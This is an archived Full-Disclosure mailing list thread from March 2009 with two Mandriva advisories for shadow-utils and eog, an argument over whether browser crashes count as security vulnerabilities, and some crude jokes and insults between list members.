From nzerozerop at gmail.com  Sun Mar  1 14:52:28 2009
From: nzerozerop at gmail.com (nzerozero p)
Date: Sun, 1 Mar 2009 09:52:28 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <448e9a320902270929t17f835c2pb2d379922dc16f17@mail.gmail.com>
References: <1695017750.20090227143622@Zoller.lu>
	<20090227140346.GA80587@infiltrated.net>
	<116133.1235755215@turing-police.cc.vt.edu>
	<448e9a320902270929t17f835c2pb2d379922dc16f17@mail.gmail.com>
Message-ID: <2ae4a3e30903010652k92392bey54baeed6f9f2dd82@mail.gmail.com>

A Denial of Service in a Beta browser.  Wow.  Stop the presses.

On Fri, Feb 27, 2009 at 12:29 PM, Michal Zalewski <lcamtuf at coredump.cx> wrote:
>>> By the way, I'm now selling a Risk Management and Scoring
>>> tool for $19.99 that will allow you to enter a program and
>>> define what you think the risk is. The program will allow
>>> you to pick your target: CIO, CEO, CSO. It will then go
>>> out and create a custom chart to maximize your budgetary
>>> request or downplay a potential threat.
>> A sizable percentage of the list is probably thinking "Shit, I wish I had
>> thought of that". :)
>
> My thought was that the decimal point is off to the left, by three or
> four digits probably.
>
> /mz
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



From jleffler at us.ibm.com  Sun Mar  1 10:34:26 2009
From: jleffler at us.ibm.com (Jonathan Leffler)
Date: Sun, 1 Mar 2009 03:34:26 -0700
Subject: [Full-disclosure] Notice to all employees
In-Reply-To: <mailman.0.1235822401.1199.full-disclosure@lists.grok.org.uk>
References: <mailman.0.1235822401.1199.full-disclosure@lists.grok.org.uk>
Message-ID: <OF14A23874.81979872-ON8825756C.0039EA5E-8825756C.003A15E0@us.ibm.com>

Someone commented that it has been circulating for a month - I saw a draft 
version of it, then, about 12 years ago!

Date: Wed, 20 Aug 1997 09:10:19 -0400 (EDT)
Subject: AF Job security

DEPARTMENT OF THE AIR FORCE

MEMORANDUM FOR ALL PERSONNEL

SUBJECT: Reduction in Forces.

1. Once again, as a result of the reduced funding available in the FY97 
and
   FY98 budgets, we are forced to significantly down-size our forces.

2. Under the guidelines we have received from HQ AFMPC, those members over
   forty years of age will be asked to accept early retirement, thus
   permitting retention of younger, lower paid personnel who represent the
   future Air Force anyway.

3. Therefore, a program to phase out the older personnel by the end of
   FY97/98 via retirement will be placed into effect immediately.  This
   program will be known as RAPE (Retire Aged Personnel Early).

4. Personnel who are RAPED will be given the opportunity to cross-train.
   Personnel being RAPED can request a review of their records prior to
   termination.  This phase of the program will be called SCREW (Survey of
   Capabilities of Retired Early Workers).

5. All personnel being RAPED or SCREWED may file an appeal to higher
   headquarters, this phase will be called SHAFT (Study by Higher 
Authority
   Follow-ups Termination).  Under the guidelines to the new policy, a
   member may only be RAPED once or SCREWED twice, but he or she may be
   SHAFTED as many times as the Air Force deems appropriate.

6. Provided an employee follows the above procedure, he or she will be
   entitled to receive HERPES (Half-Earnings for Retired Personnel's Early
   Severance), or CLAP (Combined Lump-sum Assistance Payment), unless he 
or
   she already has AIDS (Additional Income from Dependent or Spouse).  As
   HERPES or CLAP are considered benefit plans, any member who has 
received
   HERPES or CLAP will no longer be RAPED or SCREWED by the Air Force.

7. The Air Force wishes to reassure the younger personnel remaining with
   the organization that they will continue to receive the best training
   possible through our Special High Intensity Training (SHIT) program.
   The Air Force takes great pride in the amount of SHIT that our 
personnel
   receive.  We have given our personnel more SHIT than any other branch 
in
   the Department of Defense.  If anyone feels that he or she has not
   received his or hers fair share of SHIT, please feel free to bring it 
to
   your supervisor's attention.  He or she has been instructed to ensure
   that all personnel receive all the SHIT that they can handle.

8. Those personnel who have been RAPED, SCREWED, and SHAFTED, and
   previously accepted either HERPES or CLAP but now have AIDS aren't
   eligible for SHIT!



-- 
Jonathan Leffler (jleffler at us.ibm.com)
STSM, Informix Database Engineering, IBM Information Management
4400 N First St, San Jose, CA 95134-1257
Tel: +1 408-956-2436         Tieline: 475-2436
"I don't suffer from insanity; I enjoy every minute of it!"


-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/x-pkcs7-signature
Size: 7923 bytes
Desc: S/MIME Cryptographic Signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090301/5e571fe5/attachment.bin 

From security at mandriva.com  Mon Mar  2 22:00:01 2009
From: security at mandriva.com (security at mandriva.com)
Date: Mon, 02 Mar 2009 23:00:01 +0100
Subject: [Full-disclosure] [ MDVSA-2009:062 ] shadow-utils
Message-ID: <E1LeGB7-000521-JZ@titan.mandriva.com>


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

 Mandriva Linux Security Advisory                         MDVSA-2009:062
 http://www.mandriva.com/security/
 _______________________________________________________________________

 Package : shadow-utils
 Date    : March 2, 2009
 Affected: 2008.0, 2008.1, 2009.0, Corporate 3.0, Corporate 4.0,
           Multi Network Firewall 2.0
 _______________________________________________________________________

 Problem Description:

 A security vulnerability has been identified and fixed in login
 application from shadow-utils, which could allow local users in
 the utmp group to overwrite arbitrary files via a symlink attack on
 a temporary file referenced in a line (aka ut_line) field in a utmp
 entry (CVE-2008-5394).
 
 The updated packages have been patched to prevent this.
 
 Note: Mandriva Linux is using login application from util-linux-ng
 by default, and therefore is not affected by this issue on default
 configuration.
 _______________________________________________________________________

 References:

 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5394
 _______________________________________________________________________

 Updated Packages:

 Mandriva Linux 2008.0:
 e82e43f364f91d855f3cd4ff8c7cce1c  2008.0/i586/shadow-utils-4.0.12-8.1mdv2008.0.i586.rpm 
 5df52461fd4554127eb8124fee26f643  2008.0/SRPMS/shadow-utils-4.0.12-8.1mdv2008.0.src.rpm

 Mandriva Linux 2008.0/X86_64:
 f4ec93fe8c573d6a987307eb4f9584c1  2008.0/x86_64/shadow-utils-4.0.12-8.1mdv2008.0.x86_64.rpm 
 5df52461fd4554127eb8124fee26f643  2008.0/SRPMS/shadow-utils-4.0.12-8.1mdv2008.0.src.rpm

 Mandriva Linux 2008.1:
 2efe1e314945bb00df69f8e51bf69b07  2008.1/i586/shadow-utils-4.0.12-9.1mdv2008.1.i586.rpm 
 79175572afdf677c2baec382aa1fccd9  2008.1/SRPMS/shadow-utils-4.0.12-9.1mdv2008.1.src.rpm

 Mandriva Linux 2008.1/X86_64:
 4268a6e88794f7170a9576ac285aa13e  2008.1/x86_64/shadow-utils-4.0.12-9.1mdv2008.1.x86_64.rpm 
 79175572afdf677c2baec382aa1fccd9  2008.1/SRPMS/shadow-utils-4.0.12-9.1mdv2008.1.src.rpm

 Mandriva Linux 2009.0:
 25cc294b080fe1fefef1abdfe02b0c55  2009.0/i586/shadow-utils-4.0.12-17.1mdv2009.0.i586.rpm 
 d6e3c01f6acf6924bb3d014d3eca47eb  2009.0/SRPMS/shadow-utils-4.0.12-17.1mdv2009.0.src.rpm

 Mandriva Linux 2009.0/X86_64:
 b53608b463bcbf53e6a1b44e5aa94038  2009.0/x86_64/shadow-utils-4.0.12-17.1mdv2009.0.x86_64.rpm 
 d6e3c01f6acf6924bb3d014d3eca47eb  2009.0/SRPMS/shadow-utils-4.0.12-17.1mdv2009.0.src.rpm

 Corporate 3.0:
 eecf8b2ca9adcd2b07540d89aff4ce88  corporate/3.0/i586/shadow-utils-4.0.3-8.3.C30mdk.i586.rpm 
 9b6a92a2a85285c6213adc8805f8c1dc  corporate/3.0/SRPMS/shadow-utils-4.0.3-8.3.C30mdk.src.rpm

 Corporate 3.0/X86_64:
 c7e18849cf9c76fa2e514ff52f2e3acd  corporate/3.0/x86_64/shadow-utils-4.0.3-8.3.C30mdk.x86_64.rpm 
 9b6a92a2a85285c6213adc8805f8c1dc  corporate/3.0/SRPMS/shadow-utils-4.0.3-8.3.C30mdk.src.rpm

 Corporate 4.0:
 897e0e969a6947930aaae5429e0af21d  corporate/4.0/i586/shadow-utils-4.0.12-2.1.20060mlcs4.i586.rpm 
 7da4221820c4450587adcdce390b2a74  corporate/4.0/SRPMS/shadow-utils-4.0.12-2.1.20060mlcs4.src.rpm

 Corporate 4.0/X86_64:
 a5b683a62a9b173016eb2d974451ca34  corporate/4.0/x86_64/shadow-utils-4.0.12-2.1.20060mlcs4.x86_64.rpm 
 7da4221820c4450587adcdce390b2a74  corporate/4.0/SRPMS/shadow-utils-4.0.12-2.1.20060mlcs4.src.rpm

 Multi Network Firewall 2.0:
 ad2facc0ef1efdb42e5d8e7d461ae902  mnf/2.0/i586/shadow-utils-4.0.3-8.3.C30mdk.i586.rpm 
 b2c0b4d3a30d53fbd1fc933eac4bf79b  mnf/2.0/SRPMS/shadow-utils-4.0.3-8.3.C30mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrivaUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandriva for security.  You can obtain the
 GPG public key of the Mandriva Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandriva Linux at:

  http://www.mandriva.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_(at)_mandriva.com
 _______________________________________________________________________

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Mandriva Security Team
  <security*mandriva.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iD8DBQFJrCl3mqjQ0CJFipgRAndrAKCMfFwTXt0nNh2JpNcbnsJWoNyZ/QCePMmx
q/caPwQXSF5s9m0PGHeBpzM=
=GLpj
-----END PGP SIGNATURE-----



From security at mandriva.com  Mon Mar  2 23:39:00 2009
From: security at mandriva.com (security at mandriva.com)
Date: Tue, 03 Mar 2009 00:39:00 +0100
Subject: [Full-disclosure] [ MDVSA-2009:063 ] eog
Message-ID: <E1LeHiu-0005Us-UW@titan.mandriva.com>


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

 Mandriva Linux Security Advisory                         MDVSA-2009:063
 http://www.mandriva.com/security/
 _______________________________________________________________________

 Package : eog
 Date    : March 2, 2009
 Affected: 2008.1, 2009.0
 _______________________________________________________________________

 Problem Description:

 Python has a variable called sys.path that contains all paths where
 Python loads modules by using import scripting procedure. A wrong
 handling of that variable enables local attackers to execute arbitrary
 code via Python scripting in the current eog working directory
 (CVE-2008-5987).
 
 This update provides fix for that vulnerability.
 _______________________________________________________________________

 References:

 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5987
 _______________________________________________________________________

 Updated Packages:

 Mandriva Linux 2008.1:
 3a5307da4e704d80ffae6cc0417cf1e8  2008.1/i586/eog-2.22.0-2.1mdv2008.1.i586.rpm
 d7e8fe6d4313f5f8dd74bdb3bafdd4e6  2008.1/i586/eog-devel-2.22.0-2.1mdv2008.1.i586.rpm 
 e93aee8a13e874aad2729d8f0a9dae86  2008.1/SRPMS/eog-2.22.0-2.1mdv2008.1.src.rpm

 Mandriva Linux 2008.1/X86_64:
 d1e9d29e243845bb4def4538ed4b2024  2008.1/x86_64/eog-2.22.0-2.1mdv2008.1.x86_64.rpm
 25a7459f468c84a16ee922776f0faa4f  2008.1/x86_64/eog-devel-2.22.0-2.1mdv2008.1.x86_64.rpm 
 e93aee8a13e874aad2729d8f0a9dae86  2008.1/SRPMS/eog-2.22.0-2.1mdv2008.1.src.rpm

 Mandriva Linux 2009.0:
 f31223e6de4f8983881dfcf285dd9edd  2009.0/i586/eog-2.24.0-1.1mdv2009.0.i586.rpm
 083c380961411066f65caf0fd386ba49  2009.0/i586/eog-devel-2.24.0-1.1mdv2009.0.i586.rpm 
 fd4ecc84ee25b93328b6a3092f6a3a40  2009.0/SRPMS/eog-2.24.0-1.1mdv2009.0.src.rpm

 Mandriva Linux 2009.0/X86_64:
 f4ba54784ea91f0f74af8bc5c87d338c  2009.0/x86_64/eog-2.24.0-1.1mdv2009.0.x86_64.rpm
 7a2ae7d440ac69276360b627c09114a4  2009.0/x86_64/eog-devel-2.24.0-1.1mdv2009.0.x86_64.rpm 
 fd4ecc84ee25b93328b6a3092f6a3a40  2009.0/SRPMS/eog-2.24.0-1.1mdv2009.0.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrivaUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandriva for security.  You can obtain the
 GPG public key of the Mandriva Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandriva Linux at:

  http://www.mandriva.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_(at)_mandriva.com
 _______________________________________________________________________

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Mandriva Security Team
  <security*mandriva.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iD8DBQFJrEJVmqjQ0CJFipgRAqKTAJ923AHiUFAee/GCbeS/SCWOor8JGQCcCp+X
hezcPNZZftljiR4q3xX3Aw8=
=tzt3
-----END PGP SIGNATURE-----



From scarybeasts at gmail.com  Tue Mar  3 02:13:16 2009
From: scarybeasts at gmail.com (Chris Evans)
Date: Mon, 2 Mar 2009 18:13:16 -0800
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <1695017750.20090227143622@Zoller.lu>
References: <1695017750.20090227143622@Zoller.lu>
Message-ID: <72daeffd0903021813n56c3be5aq330518f9cd713ca8@mail.gmail.com>

On Fri, Feb 27, 2009 at 5:36 AM, Thierry Zoller <Thierry at zoller.lu> wrote:
>
> Hi,
>
> Michal with all due respect I'd like to beg to differ (and maybe be
> too nitpicky here).
>
> MZ> Vulnerabilities are a subset of software engineering bugs.
> I do not think this is the case (lack of the term software). How's
> this for being nitpicky ? ;)
>
> In my book, maybe only in mine, a software bug is security relevant
> (sorry for the lack of clarity - it's late over here) as soon as
> Integrity / Availabilty / Confidentiality are under arbritary direct
> or indirect control of a another entity ?(i.e attacker). Period,
> personaly this represents the ultima ratio
>
> After this - it's just a measure of _how much_. And the question of how much
> is a completely other one.
>
> Example
> If a chrome tab can be crashed arbritarely (remotely) it is a DoS attack
> but with ridiculy low impact to the end-user as it only crashes the tab
> it was subjected to, and not the whole browser or operation system.
> But the fact remains that this was the impact of a DoS condition,
> the tab crashes arbritarily.

Eh? If you visit www.evil.com and your tab crashes, that's no
different from www.evil.com closing its own tab with Javascript.

Cheers
Chris

>
>
> MZ> As the name
> MZ> implies, they are defined strictly by the impact they have; if a bug
> MZ> does not render the victim appreciably susceptible to anything that
> MZ> would be of value to external attackers, it is not a security problem.
> You define vulnerability like a boolean that is true when the impact is of
> value to the attacker. "would be of value to external attacker" - I
> cleary disgress, I don't think that a the nature/ of a bug
> (vulnerability) can be defined by the "value" it has for the attacker.
> What about damage to the victim ? What about lost revenue, agreement
> breaches etc pp. I'd not recommend to measure security from the perspective
> of the attacker, but rather the (potential) loss of the entity that tries to
> measure.
>
> MZ> Anyway... bottom line is, any attempts to formalize the criteria are
> MZ> bound to fail (and have mostly failed in the past), and common sense
> MZ> is the best tool we have.
>
> If we want to arrive at a state where risk can be managed, it needs
> to be measured. And if we aren't that far in 2009 I pity us all.
>
> --
> http://secdev.zoller.lu
> Thierry Zoller
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



From nick at virus-l.demon.co.uk  Tue Mar  3 02:28:17 2009
From: nick at virus-l.demon.co.uk (Nick FitzGerald)
Date: Tue, 03 Mar 2009 15:28:17 +1300
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <72daeffd0903021813n56c3be5aq330518f9cd713ca8@mail.gmail.com>
References: <1695017750.20090227143622@Zoller.lu>
	<72daeffd0903021813n56c3be5aq330518f9cd713ca8@mail.gmail.com>
Message-ID: <49AD4C91.9523.C4CA7E2E@nick.virus-l.demon.co.uk>

Chris Evans to Thierry Zoller:

> > Example
> > If a chrome tab can be crashed arbritarely (remotely) it is a DoS attack
> > but with ridiculy low impact to the end-user as it only crashes the tab
> > it was subjected to, and not the whole browser or operation system.
> > But the fact remains that this was the impact of a DoS condition,
> > the tab crashes arbritarily.
> 
> Eh? If you visit www.evil.com and your tab crashes, that's no
> different from www.evil.com closing its own tab with Javascript.

But what if www.evil.com has run an injection attack of some kind (SQL, 
XSS in blog comments, etc, etc) against www.stupid.com?

Visitors to stupid.com then suffer a DoS...

Yes, stupid.com should run their site better, fix their myriad XSS holes, 
etc, etc.

But this is the Internet, so this "software flaw" can be leveraged as 
security vulnerability.

I'm with Thierry on this...


Regards,

Nick FitzGerald




From jf at danglingpointers.net  Tue Mar  3 10:22:53 2009
From: jf at danglingpointers.net (jf)
Date: Tue, 3 Mar 2009 10:22:53 +0000 (UTC)
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <72daeffd0903021813n56c3be5aq330518f9cd713ca8@mail.gmail.com>
References: <1695017750.20090227143622@Zoller.lu>
	<72daeffd0903021813n56c3be5aq330518f9cd713ca8@mail.gmail.com>
Message-ID: <Pine.LNX.4.64.0903031013220.16892@localhost.localdomain>

> Eh? If you visit www.evil.com and your tab crashes, that's no
> different from www.evil.com closing its own tab with Javascript.

While I generally agree that if its just a straight DoS that there is
very little difference-- but to play devils advocate some--
the difference is that with JS closing the tab, the code path was a
known/valid/authorized one, whereas the other could potentially be
anything, and whatever it is, it could be useful given the right
circumstances.

I know you know this, Chris, actually both of you (&& Thierry), so I'm
somewhat preaching to the choir perhaps, but imho, all sigsegv's are at
least worth investigating; 99.9% of them may be a useless dos, .09% might
be useful dos's and .01% might just be the thing that turns $'s into #'s.
Say saying 'lol xor eax, eax mov [eax], 0x01234567... trash' is a bit
silly



From bobby.mugabe at hushmail.com  Tue Mar  3 03:29:39 2009
From: bobby.mugabe at hushmail.com (bobby.mugabe at hushmail.com)
Date: Mon, 02 Mar 2009 22:29:39 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
Message-ID: <20090303032940.0B13C28042@smtp.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dear Nick,

You and Thierry Loller are wrong.

- -bm

On Mon, 02 Mar 2009 21:28:17 -0500 Nick FitzGerald <nick at virus-
l.demon.co.uk> wrote:
>Chris Evans to Thierry Zoller:
>
>> > Example
>> > If a chrome tab can be crashed arbritarely (remotely) it is a
>DoS attack
>> > but with ridiculy low impact to the end-user as it only
>crashes the tab
>> > it was subjected to, and not the whole browser or operation
>system.
>> > But the fact remains that this was the impact of a DoS
>condition,
>> > the tab crashes arbritarily.
>>
>> Eh? If you visit www.evil.com and your tab crashes, that's no
>> different from www.evil.com closing its own tab with Javascript.
>
>But what if www.evil.com has run an injection attack of some kind
>(SQL,
>XSS in blog comments, etc, etc) against www.stupid.com?
>
>Visitors to stupid.com then suffer a DoS...
>
>Yes, stupid.com should run their site better, fix their myriad XSS
>holes,
>etc, etc.
>
>But this is the Internet, so this "software flaw" can be leveraged
>as
>security vulnerability.
>
>I'm with Thierry on this...
>
>
>Regards,
>
>Nick FitzGerald
>
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>Hosted and sponsored by Secunia - http://secunia.com/
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Version: Hush 3.0
Note: This signature can be verified at https://www.hushtools.com/verify

wpwEAQMCAAYFAkmso8YACgkQhNp8gzZx3sj93AP/a+oFmgLbU2Elo0livpG3c6Qvh8+0
b69LocD4LJmaR3NR4H7AHZYJiqm1TegwdTvtgY4sZd0lXi5EKZYTJMl9tj2Pd53fxXFm
7eK5yf6oRGggrdOLyDjRkMV3bVnOppwXviMHdk8quxx8sDRxA99ZlKKUA40RXFa5eAhp
UpXIZ1s=
=zgqd
-----END PGP SIGNATURE-----

--
Become a medical transcriptionist at home, at your own pace.
 http://tagline.hushmail.com/fc/BLSrjkqfMmg6RbMKs4GE43pzNkcKJRWafc7cDXj4iASDyccuLtQA2i9f1le/



From nick at virus-l.demon.co.uk  Tue Mar  3 04:35:00 2009
From: nick at virus-l.demon.co.uk (Nick FitzGerald)
Date: Tue, 03 Mar 2009 17:35:00 +1300
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <20090303032940.0B13C28042@smtp.hushmail.com>
References: <20090303032940.0B13C28042@smtp.hushmail.com>
Message-ID: <49AD6A44.20482.C53E83BC@nick.virus-l.demon.co.uk>

bobby.mugabe at hushmail.com wrote:

> Dear Nick,
> 
> You and Thierry Loller are wrong.

Thank-you for your comprehensive and compelling argument.

Applying your debating technique, I now see that you are a dick-wad.


Regards,

Nick FitzGerald




From security.mustache at gmail.com  Tue Mar  3 04:41:53 2009
From: security.mustache at gmail.com (Valdis' Mustache)
Date: Mon, 2 Mar 2009 23:41:53 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <20090303032940.0B13C28042@smtp.hushmail.com>
References: <20090303032940.0B13C28042@smtp.hushmail.com>
Message-ID: <26eb2b870903022041j7a739de2ta594ea3cc4059140@mail.gmail.com>

I would like to point out that I have been able to create a "hung"
state in the Firefox browser by opening 30 simultaneous tabs pointed
at http://www.welcometointernet.org/lawnmower/ and adding a 31st tab
viewing http://www.hotrussianbrides.com.

Also, I am not amused.


Your humble servant,
Ze Mustache von Kletnieks

On Mon, Mar 2, 2009 at 10:29 PM,  <bobby.mugabe at hushmail.com> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Dear Nick,
>
> You and Thierry Loller are wrong.
>
> - -bm
>
> On Mon, 02 Mar 2009 21:28:17 -0500 Nick FitzGerald <nick at virus-
> l.demon.co.uk> wrote:
>>Chris Evans to Thierry Zoller:
>>
>>> > Example
>>> > If a chrome tab can be crashed arbritarely (remotely) it is a
>>DoS attack
>>> > but with ridiculy low impact to the end-user as it only
>>crashes the tab
>>> > it was subjected to, and not the whole browser or operation
>>system.
>>> > But the fact remains that this was the impact of a DoS
>>condition,
>>> > the tab crashes arbritarily.
>>>
>>> Eh? If you visit www.evil.com and your tab crashes, that's no
>>> different from www.evil.com closing its own tab with Javascript.
>>
>>But what if www.evil.com has run an injection attack of some kind
>>(SQL,
>>XSS in blog comments, etc, etc) against www.stupid.com?
>>
>>Visitors to stupid.com then suffer a DoS...
>>
>>Yes, stupid.com should run their site better, fix their myriad XSS
>>holes,
>>etc, etc.
>>
>>But this is the Internet, so this "software flaw" can be leveraged
>>as
>>security vulnerability.
>>
>>I'm with Thierry on this...
>>
>>
>>Regards,
>>
>>Nick FitzGerald
>>
>>
>>_______________________________________________
>>Full-Disclosure - We believe in it.
>>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>Hosted and sponsored by Secunia - http://secunia.com/
> -----BEGIN PGP SIGNATURE-----
> Charset: UTF8
> Version: Hush 3.0
> Note: This signature can be verified at https://www.hushtools.com/verify
>
> wpwEAQMCAAYFAkmso8YACgkQhNp8gzZx3sj93AP/a+oFmgLbU2Elo0livpG3c6Qvh8+0
> b69LocD4LJmaR3NR4H7AHZYJiqm1TegwdTvtgY4sZd0lXi5EKZYTJMl9tj2Pd53fxXFm
> 7eK5yf6oRGggrdOLyDjRkMV3bVnOppwXviMHdk8quxx8sDRxA99ZlKKUA40RXFa5eAhp
> UpXIZ1s=
> =zgqd
> -----END PGP SIGNATURE-----
>
> --
> Become a medical transcriptionist at home, at your own pace.
> ?http://tagline.hushmail.com/fc/BLSrjkqfMmg6RbMKs4GE43pzNkcKJRWafc7cDXj4iASDyccuLtQA2i9f1le/
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



From jstarks440 at gmail.com  Tue Mar  3 04:57:27 2009
From: jstarks440 at gmail.com (Jason Starks)
Date: Mon, 2 Mar 2009 23:57:27 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <26eb2b870903022041j7a739de2ta594ea3cc4059140@mail.gmail.com>
References: <20090303032940.0B13C28042@smtp.hushmail.com>
	<26eb2b870903022041j7a739de2ta594ea3cc4059140@mail.gmail.com>
Message-ID: <e1b25fd0903022057x70d9e49fk31fe9e8a0da7c0fa@mail.gmail.com>

Grow up, really.

On Mon, Mar 2, 2009 at 11:41 PM, Valdis' Mustache <
security.mustache at gmail.com> wrote:

> I would like to point out that I have been able to create a "hung"
> state in the Firefox browser by opening 30 simultaneous tabs pointed
> at http://www.welcometointernet.org/lawnmower/ and adding a 31st tab
> viewing http://www.hotrussianbrides.com.
>
> Also, I am not amused.
>
>
> Your humble servant,
> Ze Mustache von Kletnieks
>
> On Mon, Mar 2, 2009 at 10:29 PM,  <bobby.mugabe at hushmail.com> wrote:
> > -----BEGIN PGP SIGNED MESSAGE-----
> > Hash: SHA1
> >
> > Dear Nick,
> >
> > You and Thierry Loller are wrong.
> >
> > - -bm
> >
> > On Mon, 02 Mar 2009 21:28:17 -0500 Nick FitzGerald <nick at virus-
> > l.demon.co.uk> wrote:
> >>Chris Evans to Thierry Zoller:
> >>
> >>> > Example
> >>> > If a chrome tab can be crashed arbritarely (remotely) it is a
> >>DoS attack
> >>> > but with ridiculy low impact to the end-user as it only
> >>crashes the tab
> >>> > it was subjected to, and not the whole browser or operation
> >>system.
> >>> > But the fact remains that this was the impact of a DoS
> >>condition,
> >>> > the tab crashes arbritarily.
> >>>
> >>> Eh? If you visit www.evil.com and your tab crashes, that's no
> >>> different from www.evil.com closing its own tab with Javascript.
> >>
> >>But what if www.evil.com has run an injection attack of some kind
> >>(SQL,
> >>XSS in blog comments, etc, etc) against www.stupid.com?
> >>
> >>Visitors to stupid.com then suffer a DoS...
> >>
> >>Yes, stupid.com should run their site better, fix their myriad XSS
> >>holes,
> >>etc, etc.
> >>
> >>But this is the Internet, so this "software flaw" can be leveraged
> >>as
> >>security vulnerability.
> >>
> >>I'm with Thierry on this...
> >>
> >>
> >>Regards,
> >>
> >>Nick FitzGerald
> >>
> >>
> >>_______________________________________________
> >>Full-Disclosure - We believe in it.
> >>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> >>Hosted and sponsored by Secunia - http://secunia.com/
> > -----BEGIN PGP SIGNATURE-----
> > Charset: UTF8
> > Version: Hush 3.0
> > Note: This signature can be verified at https://www.hushtools.com/verify
> >
> > wpwEAQMCAAYFAkmso8YACgkQhNp8gzZx3sj93AP/a+oFmgLbU2Elo0livpG3c6Qvh8+0
> > b69LocD4LJmaR3NR4H7AHZYJiqm1TegwdTvtgY4sZd0lXi5EKZYTJMl9tj2Pd53fxXFm
> > 7eK5yf6oRGggrdOLyDjRkMV3bVnOppwXviMHdk8quxx8sDRxA99ZlKKUA40RXFa5eAhp
> > UpXIZ1s=
> > =zgqd
> > -----END PGP SIGNATURE-----
> >
> > --
> > Become a medical transcriptionist at home, at your own pace.
> >
> http://tagline.hushmail.com/fc/BLSrjkqfMmg6RbMKs4GE43pzNkcKJRWafc7cDXj4iASDyccuLtQA2i9f1le/
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
> >
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090302/b14840b9/attachment.html 

From security.mustache at gmail.com  Tue Mar  3 05:29:53 2009
From: security.mustache at gmail.com (Valdis' Mustache)
Date: Tue, 3 Mar 2009 00:29:53 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <e1b25fd0903022057x70d9e49fk31fe9e8a0da7c0fa@mail.gmail.com>
References: <20090303032940.0B13C28042@smtp.hushmail.com>
	<26eb2b870903022041j7a739de2ta594ea3cc4059140@mail.gmail.com>
	<e1b25fd0903022057x70d9e49fk31fe9e8a0da7c0fa@mail.gmail.com>
Message-ID: <26eb2b870903022129na542646rca060677201a3c5e@mail.gmail.com>

Jason,

Initially I was not amused by your sententious and self-righteous
reply, coming as it does from someone apparently unable to read GCC
documentation, someone whose very question on this very list resulted
in substantial wasting of time by the owner of this very mustache
(time that might better be spent combing and waxing me) answering your
rudimentary question in the most obtuse and abstract way possible.

Nonetheless, I will overlook your slight this once, because it appears
that while less than adept at the use of various Internet Lists, you
are an accomplished sportsman.

http://www.youtube.com/watch?v=wvYKxRmGiAA

Indeed, since this mustache itself weighs far less than the 145kg
hefted in the above film, I fear you could in fact rip me quite
unceremoniously from my owner's face, which would cause both of us
substantial harm.

As such, I will pay you the respect that your girth deserves, if not
your intellect.


Your humble servant,
Musta?a de Valdis


On Mon, Mar 2, 2009 at 11:57 PM, Jason Starks <jstarks440 at gmail.com> wrote:
> Grow up, really.
>
> On Mon, Mar 2, 2009 at 11:41 PM, Valdis' Mustache
> <security.mustache at gmail.com> wrote:
>>
>> I would like to point out that I have been able to create a "hung"
>> state in the Firefox browser by opening 30 simultaneous tabs pointed
>> at http://www.welcometointernet.org/lawnmower/ and adding a 31st tab
>> viewing http://www.hotrussianbrides.com.
>>
>> Also, I am not amused.
>>
>>
>> Your humble servant,
>> Ze Mustache von Kletnieks
>>
>> On Mon, Mar 2, 2009 at 10:29 PM, ?<bobby.mugabe at hushmail.com> wrote:
>> > -----BEGIN PGP SIGNED MESSAGE-----
